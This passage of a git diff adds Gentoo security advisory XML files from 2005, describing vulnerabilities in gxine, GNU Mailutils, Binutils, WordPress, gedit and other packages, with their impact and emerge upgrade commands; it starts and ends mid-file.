+    <p>
+    Exworm discovered that gxine insecurely implements formatted
+    printing in the hostname decoding function.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a carefully crafted
+    file with gxine, possibly leading to the execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All gxine users should upgrade to the latest available version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose media-video/gxine</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1692">CAN-2005-1692</uri>
+    <uri link="http://www.securityfocus.com/bid/13707">Bugtraq ID 13707</uri>
+    <uri link="http://www.0xbadexworm.org/adv/gxinefmt.txt">Original Advisory</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 24 May 2005 14:37:48 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 26 May 2005 11:13:38 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200505-20.xml b/xml/htdocs/security/en/glsa/glsa-200505-20.xml
new file mode 100644
index 00000000..53aafd04
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200505-20.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200505-20">
+  <title>Mailutils: Multiple vulnerabilities in imap4d and mail</title>
+  <synopsis>
+    The imap4d server and the mail utility from GNU Mailutils contain multiple
+    vulnerabilities, potentially allowing a remote attacker to execute
+    arbitrary code with root privileges.
+  </synopsis>
+  <product type="ebuild">mailutils</product>
+  <announced>May 27, 2005</announced>
+  <revised>May 27, 2005: 01</revised>
+  <bug>94053</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-mail/mailutils" auto="yes" arch="*">
+      <unaffected range="ge">0.6-r1</unaffected>
+      <vulnerable range="lt">0.6-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GNU Mailutils is a collection of mail-related utilities, including
+    an IMAP4 server (imap4d) and a Mail User Agent (mail).
+    </p>
+  </background>
+  <description>
+    <p>
+    infamous41d discovered several vulnerabilities in GNU Mailutils.
+    imap4d does not correctly implement formatted printing of command tags
+    (CAN-2005-1523), fails to validate the range sequence of the "FETCH"
+    command (CAN-2005-1522), and contains an integer overflow in the
+    "fetch_io" routine (CAN-2005-1521). mail contains a buffer overflow in
+    "header_get_field_name()" (CAN-2005-1520).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker can exploit the format string and integer
+    overflow in imap4d to execute arbitrary code as the imap4d user, which
+    is usually root. By sending a specially crafted email message, a remote
+    attacker could exploit the buffer overflow in the "mail" utility to
+    execute arbitrary code with the rights of the user running mail.
+    Finally, a remote attacker can also trigger a Denial of Service by
+    sending a malicious FETCH command to an affected imap4d, causing
+    excessive resource consumption.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GNU Mailutils users should upgrade to the latest available
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/mailutils-0.6-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1520">CAN-2005-1520</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1521">CAN-2005-1521</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1522">CAN-2005-1522</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1523">CAN-2005-1523</uri>
+    <uri link="http://www.idefense.com/application/poi/display?type=vulnerabilities&amp;showYear=2005">iDEFENSE 05.25.05 advisories</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 26 May 2005 13:21:14 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 27 May 2005 07:50:06 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200506-01.xml b/xml/htdocs/security/en/glsa/glsa-200506-01.xml
new file mode 100644
index 00000000..9c736061
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200506-01.xml
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200506-01">
+  <title>Binutils, elfutils: Buffer overflow</title>
+  <synopsis>
+    Various utilities from the GNU Binutils and elfutils packages are
+    vulnerable to a heap based buffer overflow, potentially resulting in the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">binutils</product>
+  <announced>June 01, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>91398</bug>
+  <bug>91817</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/elfutils" auto="yes" arch="*">
+      <unaffected range="ge">0.108</unaffected>
+      <vulnerable range="lt">0.108</vulnerable>
+    </package>
+    <package name="sys-devel/binutils" auto="yes" arch="*">
+      <unaffected range="rge">2.14.90.0.8-r3</unaffected>
+      <unaffected range="rge">2.15.90.0.1.1-r5</unaffected>
+      <unaffected range="rge">2.15.90.0.3-r5</unaffected>
+      <unaffected range="rge">2.15.91.0.2-r2</unaffected>
+      <unaffected range="rge">2.15.92.0.2-r10</unaffected>
+      <unaffected range="ge">2.16-r1</unaffected>
+      <vulnerable range="lt">2.16-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The GNU Binutils are a collection of tools to create, modify and
+    analyse binary files. Many of the files use BFD, the Binary File
+    Descriptor library, to do low-level manipulation. Elfutils provides a
+    library and utilities to access, modify and analyse ELF objects.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy and Ned Ludd of the Gentoo Linux Security Audit Team
+    discovered an integer overflow in the BFD library and elfutils,
+    resulting in a heap based buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Successful exploitation would require a user to access a specially
+    crafted binary file, resulting in the execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GNU Binutils users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose sys-devel/binutils</code>
+    <p>
+    All elfutils users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/elfutils-0.108&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1704">CVE-2005-1704</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 12 May 2005 20:12:23 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 01 Jun 2005 15:04:54 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200506-02.xml b/xml/htdocs/security/en/glsa/glsa-200506-02.xml
new file mode 100644
index 00000000..e363ed64
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200506-02.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200506-02">
+  <title>Mailutils: SQL Injection</title>
+  <synopsis>
+    GNU Mailutils is vulnerable to SQL command injection attacks.
+  </synopsis>
+  <product type="ebuild">mailutils</product>
+  <announced>June 06, 2005</announced>
+  <revised>June 06, 2005: 01</revised>
+  <bug>94824</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-mail/mailutils" auto="yes" arch="*">
+      <unaffected range="ge">0.6-r1</unaffected>
+      <vulnerable range="lt">0.6-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GNU Mailutils is a collection of mail-related utilities.
+    </p>
+  </background>
+  <description>
+    <p>
+    When GNU Mailutils is built with the "mysql" or "postgres" USE
+    flag, the sql_escape_string function of the authentication module fails
+    to properly escape the "\" character, rendering it vulnerable to a SQL
+    command injection.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A malicious remote user could exploit this vulnerability to inject
+    SQL commands to the underlying database.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GNU Mailutils users should upgrade to the latest available
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/mailutils-0.6-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1824">CAN-2005-1824</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 05 Jun 2005 13:35:06 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 05 Jun 2005 17:42:35 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 06 Jun 2005 11:45:10 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200506-03.xml b/xml/htdocs/security/en/glsa/glsa-200506-03.xml
new file mode 100644
index 00000000..e6886393
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200506-03.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200506-03">
+  <title>Dzip: Directory traversal vulnerability</title>
+  <synopsis>
+    Dzip is vulnerable to a directory traversal attack.
+  </synopsis>
+  <product type="ebuild">dzip</product>
+  <announced>June 06, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>93079</bug>
+  <access>remote</access>
+  <affected>
+    <package name="games-util/dzip" auto="yes" arch="*">
+      <unaffected range="ge">2.9-r1</unaffected>
+      <vulnerable range="lt">2.9-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Dzip is a compressor and uncompressor especially made for demo
+    recordings of id's Quake.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dzip is vulnerable to a directory traversal attack when extracting
+    archives.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit this vulnerability by creating a specially
+    crafted archive to extract files to arbitrary locations.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Dzip users should upgrade to the latest available version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=games-utils/dzip-2.9-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1874">CVE-2005-1874</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 30 May 2005 13:58:23 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 30 May 2005 13:59:50 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 05 Jun 2005 17:58:43 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200506-04.xml b/xml/htdocs/security/en/glsa/glsa-200506-04.xml
new file mode 100644
index 00000000..ccfc5d26
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200506-04.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200506-04">
+  <title>Wordpress: Multiple vulnerabilities</title>
+  <synopsis>
+    Wordpress contains SQL injection and XSS vulnerabilities.
+  </synopsis>
+  <product type="ebuild">Wordpress</product>
+  <announced>June 06, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>88926</bug>
+  <bug>94512</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/wordpress" auto="yes" arch="*">
+      <unaffected range="ge">1.5.1.2</unaffected>
+      <vulnerable range="lt">1.5.1.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    WordPress is a PHP and MySQL based content management and publishing
+    system.
+    </p>
+  </background>
+  <description>
+    <p>
+    Due to a lack of input validation, WordPress is vulnerable to SQL
+    injection and XSS attacks.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could use the SQL injection vulnerabilites to gain
+    information from the database. Furthermore the cross-site scripting
+    issues give an attacker the ability to inject and execute malicious
+    script code or to steal cookie-based authentication credentials,
+    potentially compromising the victim's browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Wordpress users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/wordpress-1.5.1.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1102">CVE-2005-1102</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1687">CVE-2005-1687</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1810">CVE-2005-1810</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 01 Jun 2005 07:49:47 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 01 Jun 2005 07:49:57 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 06 Jun 2005 05:09:09 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200506-05.xml b/xml/htdocs/security/en/glsa/glsa-200506-05.xml
new file mode 100644
index 00000000..2ac4a13d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200506-05.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200506-05">
+  <title>SilverCity: Insecure file permissions</title>
+  <synopsis>
+    Executable files with insecure permissions can be modified causing an
+    unsuspecting user to run arbitrary code.
+  </synopsis>
+  <product type="ebuild">silvercity</product>
+  <announced>June 08, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>93558</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-text/silvercity" auto="yes" arch="*">
+      <unaffected range="ge">0.9.5-r1</unaffected>
+      <vulnerable range="lt">0.9.5-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SilverCity provides lexical analysis for over 20 programming and markup
+    languages.
+    </p>
+  </background>
+  <description>
+    <p>
+    The SilverCity package installs three executable files with insecure
+    permissions.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could modify the executable files, causing arbitrary
+    code to be executed with the permissions of an unsuspecting SilverCity
+    user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SilverCity users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/silvercity-0.9.5-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1941">CVE-2005-1941</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 06 Jun 2005 18:24:23 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 06 Jun 2005 18:24:47 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 07 Jun 2005 01:08:04 +0000">
+    r2d2
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200506-06.xml b/xml/htdocs/security/en/glsa/glsa-200506-06.xml
new file mode 100644
index 00000000..9fade7f4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200506-06.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200506-06">
+  <title>libextractor: Multiple overflow vulnerabilities</title>
+  <synopsis>
+    libextractor is affected by several overflow vulnerabilities in the PDF,
+    Real and PNG extractors, making it vulnerable to execution of arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">libextractor</product>
+  <announced>June 09, 2005</announced>
+  <revised>June 09, 2005: 01</revised>
+  <bug>79704</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libextractor" auto="yes" arch="*">
+      <unaffected range="ge">0.5.0</unaffected>
+      <vulnerable range="lt">0.5.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libextractor is a library used to extract meta-data from files. It
+    makes use of Xpdf code to extract information from PDF files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Xpdf is vulnerable to multiple overflows, as described in GLSA
+    200501-28. Also, integer overflows were discovered in Real and PNG
+    extractors.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could design malicious PDF, PNG or Real files which,
+    when processed by an application making use of libextractor, would
+    result in the execution of arbitrary code with the rights of the user
+    running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libextractor users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libextractor-0.5.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0064">CAN-2005-0064</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200501-28.xml">GLSA 200501-28</uri>
+    <uri link="http://gnunet.org/libextractor/">libextractor security announcement</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue,  1 Mar 2005 11:13:31 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu,  3 Mar 2005 15:44:04 +0000">
+    formula7
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 08 Jun 2005 11:34:48 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200506-07.xml b/xml/htdocs/security/en/glsa/glsa-200506-07.xml
new file mode 100644
index 00000000..213793f2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200506-07.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200506-07">
+  <title>Ettercap: Format string vulnerability</title>
+  <synopsis>
+    A format string vulnerability in Ettercap could allow a remote attacker to
+    execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">ettercap</product>
+  <announced>June 11, 2005</announced>
+  <revised>June 11, 2005: 01</revised>
+  <bug>94474</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/ettercap" auto="yes" arch="*">
+      <unaffected range="ge">0.7.3</unaffected>
+      <vulnerable range="lt">0.7.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ettercap is a suite of tools for content filtering, sniffing and
+    man in the middle attacks on a LAN.
+    </p>
+  </background>
+  <description>
+    <p>
+    The curses_msg function of Ettercap's Ncurses-based user interface
+    insecurely implements formatted printing.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could craft a malicious network flow that would
+    result in executing arbitrary code with the rights of the user running
+    the Ettercap tool, which is often root.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ettercap users should upgrade to the latest available version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/ettercap-0.7.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1796">CAN-2005-1796</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 08 Jun 2005 08:05:23 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 08 Jun 2005 16:01:35 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 11 Jun 2005 08:22:41 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200506-08.xml b/xml/htdocs/security/en/glsa/glsa-200506-08.xml
new file mode 100644
index 00000000..9953f9d1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200506-08.xml
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200506-08">
+  <title>GNU shtool, ocaml-mysql: Insecure temporary file creation</title>
+  <synopsis>
+    GNU shtool and ocaml-mysql are vulnerable to symlink attacks, potentially
+    allowing a local user to overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">GNU shtool</product>
+  <announced>June 11, 2005</announced>
+  <revised>June 11, 2005: 01</revised>
+  <bug>93782</bug>
+  <bug>93784</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-util/shtool" auto="yes" arch="*">
+      <unaffected range="ge">2.0.1-r2</unaffected>
+      <vulnerable range="lt">2.0.1-r2</vulnerable>
+    </package>
+    <package name="dev-ml/ocaml-mysql" auto="yes" arch="*">
+      <unaffected range="ge">1.0.3-r1</unaffected>
+      <vulnerable range="lt">1.0.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GNU shtool is a compilation of small shell scripts into a single
+    shell tool. The ocaml-mysql package includes the GNU shtool code.
+    </p>
+  </background>
+  <description>
+    <p>
+    Eric Romang has discovered that GNU shtool insecurely creates
+    temporary files with predictable filenames (CAN-2005-1751). On closer
+    inspection, Gentoo Security discovered that the shtool temporary file,
+    once created, was being reused insecurely (CAN-2005-1759).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary
+    files directory, pointing to a valid file somewhere on the filesystem.
+    When a GNU shtool script is executed, this would result in the file
+    being overwritten with the rights of the user running the script, which
+    could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GNU shtool users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-util/shtool-2.0.1-r2&quot;</code>
+    <p>
+    All ocaml-mysql users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-ml/ocaml-mysql-1.0.3-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1751">CAN-2005-1751</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1759">CAN-2005-1759</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 27 May 2005 16:05:53 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 28 May 2005 21:16:10 +0000">
+    formula7
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 10 Jun 2005 15:51:35 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200506-09.xml b/xml/htdocs/security/en/glsa/glsa-200506-09.xml
new file mode 100644
index 00000000..83f87cc8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200506-09.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200506-09">
+  <title>gedit: Format string vulnerability</title>
+  <synopsis>
+    gedit suffers from a format string vulnerability that could allow arbitrary
+    code execution.
+  </synopsis>
+  <product type="ebuild">gedit</product>
+  <announced>June 11, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>93352</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-editors/gedit" auto="yes" arch="*">
+      <unaffected range="ge">2.10.3</unaffected>
+      <vulnerable range="lt">2.10.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    gedit is the official text editor of the GNOME desktop environement.
+    </p>
+  </background>
+  <description>
+    <p>
+    A format string vulnerability exists when opening files with names
+    containing format specifiers.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A specially crafted file with format specifiers in the filename can
+    cause arbitrary code execution.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All gedit users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-editors/gedit-2.10.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/bid/13699">BugTraq ID 13699</uri>
+    <uri link="http://mail.gnome.org/archives/gnome-announce-list/2005-June/msg00006.html">gedit 10.3 Release Notes</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1686">CVE-2005-1686</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 10 Jun 2005 14:36:10 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 10 Jun 2005 17:36:40 +0000">
+    r2d2
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 11 Jun 2005 11:59:18 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200506-10.xml b/xml/htdocs/security/en/glsa/glsa-200506-10.xml
new file mode 100644
index 00000000..2c0f7066
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200506-10.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200506-10">
+  <title>LutelWall: Insecure temporary file creation</title>
+  <synopsis>
+    LutelWall is vulnerable to symlink attacks, potentially allowing a local
+    user to overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">LutelWall</product>
+  <announced>June 11, 2005</announced>
+  <revised>June 11, 2005: 01</revised>
+  <bug>95378</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-firewall/lutelwall" auto="yes" arch="*">
+      <unaffected range="ge">0.98</unaffected>
+      <vulnerable range="lt">0.98</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    LutelWall is a high-level Linux firewall configuration tool.
+    </p>
+  </background>
+  <description>
+    <p>
+    Eric Romang has discovered that the new_version_check() function
+    in LutelWall insecurely creates a temporary file when updating to a new
+    version.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary file
+    directory, pointing to a valid file somewhere on the filesystem. When
+    the update script is executed (usually by the root user), this would
+    result in the file being overwritten with the rights of this user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All LutelWall users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-firewall/lutelwall-0.98&quot;</code>
+  </resolution>
+  <references>
